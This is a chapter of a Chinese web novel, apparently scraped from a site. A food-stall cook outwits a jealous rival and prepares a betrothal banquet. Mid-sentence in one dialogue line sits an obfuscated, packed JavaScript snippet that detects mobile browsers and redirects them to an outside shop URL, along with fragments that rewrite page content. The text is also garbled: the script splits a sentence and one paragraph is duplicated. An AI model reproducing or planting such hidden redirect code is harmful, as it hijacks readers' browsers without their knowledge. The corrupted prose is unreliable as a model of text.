他走到院里的石桌边,把纸铺开,又从怀里摸出一支秃笔和半截墨条。墨条在砚台上磨了几下,水色泛开,他蘸了墨,伏在石桌上写字。 李冬生放学回来,书袋往门槛上一扔就凑过去。 “金宝哥,你在写什么?” “抄书。” “抄书做什么,你还需要练字?” “挣钱,一天十文。” 李冬生掰着指头算了算:“我爹扛一天沙包才十五文,你写写字就能挣十文?” 沈金宝手下不停,唇角勾了勾:“你要是能写满三页不涂改,我也给你十文钱。” 李冬生撇嘴:“我写的字跟狗爬似的,谁要啊?” 他趴在石桌边看了一会儿,看沈金宝一笔一划写得工工整整,跑进灶房倒了一碗水端过来,放在沈金宝手边,咧嘴说:“金宝哥,你真厉害!这十文钱,我这辈子都怕是挣不着喽。” 沈金宝撇了李冬生一眼,轻笑一声:“倒是有自知之明。去,把练字的石板拿过来,跟着我一起写。” “得嘞!”李冬生风风火火跑去墙根取石板。 半月在灶房门口站了一会儿,看院子里两个人凑在石桌边,一个写大字,一个在石板上歪歪扭扭地跟着描。天色暗下来了,灶膛里的火光从她背后透出去,把院子里两个脑袋的影子叠在一起。 原来沈金宝下午说去镇上办事,就是去接抄书的活。 半月看着石桌边那个低头写字的身影,忽然有点恍惚。这人当初在沈府的时候,恐怕连研墨都有丫鬟伺候,哪里用得着自己动手挣这十文钱? 从锦衣玉食的沈家大少爷,到寄人篱下抄书挣钱的远房表亲,中间隔了多少变故,他却一句也没抱怨过。 嘴上虽是那副吊儿郎当的腔调,可该干的活一样没少干,她现在看他,倒是看不出半分纨绔的样子了。 半月嘴里往上弯了弯,转身回灶房继续揉面。 接下来的日子,半月的鱼汤生意前所未有的红火。摊子前每天都排起长龙,她一个人忙不过来,便带上了刘翠兰一起出摊。 母女俩一个舀汤一个收钱,手脚不停,瓦罐见底的速度一天比一天快。攒下的铜钱也越来越多,半月把每天多出来的铜板单独串成串,压在枕头底下,隔几天拿出来数一回,每回都比上回沉一些。 孙大娘的摊子前却是另一番光景。几个老主顾买了豆腐就走,没人停下来喝豆腐脑。她坐在摊子后面,眼睛盯着半月那边热热闹闹的队伍,脸色不大好看。 这天快收摊的时候,半月正要把木桶盖上,身后传来一个声音。 “胖丫。” 半月回过头,见孙大娘端着一碗豆腐脑走过来。她脸上挂着笑,那笑堆得比平时厚,却透着几分不自在。她在半月面前站了片刻,把碗往前递了递。 “胖丫,你再帮我尝尝。”她的声音比平时低了几分,带着点恳求,“我这豆腐脑……到底差在哪儿?” 半月接过来喝了一口,豆腐脑嫩滑,豆香味也够,比刚开始做的时候好了不少,但卤水点多了,回味带着一丝苦。调味的卤水也寡淡,像白水煮豆腐,没有鱼汤那股鲜劲儿。 她看着孙大娘的脸,孙大娘眼角有了细细的纹路,嘴唇干裂,鬓边多了几根白发,模样比头次见她苍老了不少。 半月想起沈金宝的提醒,这次多了个心眼。 “大娘,您这豆腐脑已经做得很好了。”她把碗还回去,笑了笑。 孙大娘嘴角的笑僵了一下:“那怎么没人买?” “可能是少了浇头吧,你用清水,我用鱼汤,味道自然有差别。”半月随口应了一句,没再多说。 “鱼汤?那得多费多少材料啊……”孙大娘喃喃自语,一脸失落的端着碗走了。 半月看着她的背影,心里说不上是什么滋味。但她顾不得多想,明天就是王婶子家的定亲宴,她还有一堆东西要采买。 她让刘翠兰先收摊,自己去鱼摊挑几条新鲜的鲤鱼和其他鱼货。 鱼贩子马叔一边刮鳞一边跟她闲聊:“胖丫头,先前有人来打听你,问你的鱼货是买的还是捡的。我说你天天来买新鲜的,那人‘哦’了一声就走了。” “马叔,您还记得那人长什么样子吗?”半月问。 “那人包裹的严严实实的,看不清楚样貌,听声音像个老妇人。” 老妇人?半月脑子里第一个蹦出来的就是孙大娘。 “对了,那人走后又倒回来缠着我问了半天,想套你熬汤用的配料。我说不知道,她又赖了一会儿才走,一看就没安好心。你最近可当心着点!”马叔把刮好鳞的鲤鱼递过去,善意提醒。 半月接过鱼,笑了笑:“放心,就算把配料写给他们,也做不出我这个味道。谢谢您了马叔!” 她付了钱,提着鱼货往回走,刘翠兰还守着摊子在等她。 回到码头时,刘翠兰正蹲在摊子后头,把洗净的碗筷往竹篮里码,碗底碰着碗沿,叮叮当当的,听着就让人安心。 回到码头时,刘翠兰已经收了摊,正蹲在地上把碗筷往竹篮里码,碗底碰着碗沿,叮叮当当的。 半月走过去,没提马叔那些话,只说了句:“娘,明儿是王婶子家的定亲宴,我得起早过去,摊子您先一个人盯着,忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539842|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过来就叫爹帮忙。” 刘翠兰抬头,脸上笑开了花:“你就放心去,码头上的事娘应付得来。你爹那边我跟他说,让他明儿晚点去码头,先帮你把灶上的东西搬过去。这生意比你爹扛沙包强,回头让他也来咱摊子上帮忙!” “成。”半月笑着应了,弯腰去收粗布。 母女俩收拾好东西往回走。刘翠兰走在前头,嘴里絮絮叨叨地念着明天要带哪些厨具。 大锅得带一口,蒸笼要洗干净,碗碟不够用王婶子家的,菜刀得磨一磨。 半月跟在后头听着,心里也在盘算:今晚得把鱼冻熬上让它凝一夜,枣糕提前蒸好明天直接摆盘,鸡明早现杀现炖,清蒸鱼上桌前再浇滚油。时间紧,但排好了就不会乱。 回到家,沈金宝正坐在石桌边教李冬生写字。听见院门响,他抬头看了一眼,见母女俩大包小包地往里搬,放下手里的树枝走过来帮忙。 “明天做席面?”他接过半月手里的竹篮。 “嗯。”半月擦了把汗,“菜我都备好了,今晚先把能提前做的做了。” 沈金宝把竹篮搁在灶房门口,倚在门框上,语气吊儿郎当的:“要帮忙就说,小爷明天得闲。” 半月看了他一眼,笑了笑:“你脚还没好全,歇着吧。真要帮忙,明天帮我看好冬生,别让他偷吃。” “放心,他偷吃一块我让他多写十张大字。” 李冬生在院子里嚷起来:“我听见了!你比我爹管得还宽!” 灶房里传出刘翠兰的笑声。半月走进灶房,挽起袖子,点上灶火,开始熬鱼冻。 院子里李冬生还在跟沈金宝斗嘴,刘翠兰端着盆水出去洗菜,嘴里哼着一支不成调的小曲。 半月盯着灶火,穿过来后,明儿个头一回给人做席面,她心里不是不紧张,但一紧张反而更得把每件事做踏实了。 定亲宴这日,天还没亮半月就起了床。她把昨晚熬好凝了一夜的鱼冻从盆里扣出来,切成薄片,码在白瓷碟里,又单独装了一小罐姜醋汁,等上菜前再浇上。 再把馅料十足的枣糕一块块码进食盒。 最后,她又清点了一遍要带的家伙什:大锅一口、蒸笼一副、菜刀两把、砧板一块。调料罐子单独装了一小篮,盐、酱、醋、豆瓣酱、姜蒜、野葱碎,每样都备足了分量。 李有福起了个大早,帮她把东西搬上借来的牛车。 刘翠兰系好围裙从灶房里出来,拿手给半月拢了拢头发,又扯了扯她衣领子,左看右看,满意了才笑道:“我闺女今天真精神。码头那边有娘在,你就别操心了,安心把席面做好。” “娘,摊子上忙不过来就叫爹帮忙。”半月叮嘱。 “晓得晓得,你爹中午下了工就去码头。”刘翠兰摆摆手,“快去吧,别让王婶子等着。” 半月到王婶子家时天刚蒙蒙亮。院门大敞着,王婶子已经在院子里忙得脚不沾地。 两只鸡刚杀好,褪了毛搁在木盆里,地上还滴着血水。几个本家婶子围坐在井沿边择菜,萝卜、白菜、豆角、茄子摊了一地,青翠翠的。 “胖丫来了!”王婶子把菜刀往砧板上一搁,手在围裙上蹭了两把就迎上来。 她嗓门亮得半条巷子都能听见:“灶房给你腾好了,案板擦了三遍,锅也刷得锃亮!你开的单子我都备齐了,你去点一点!”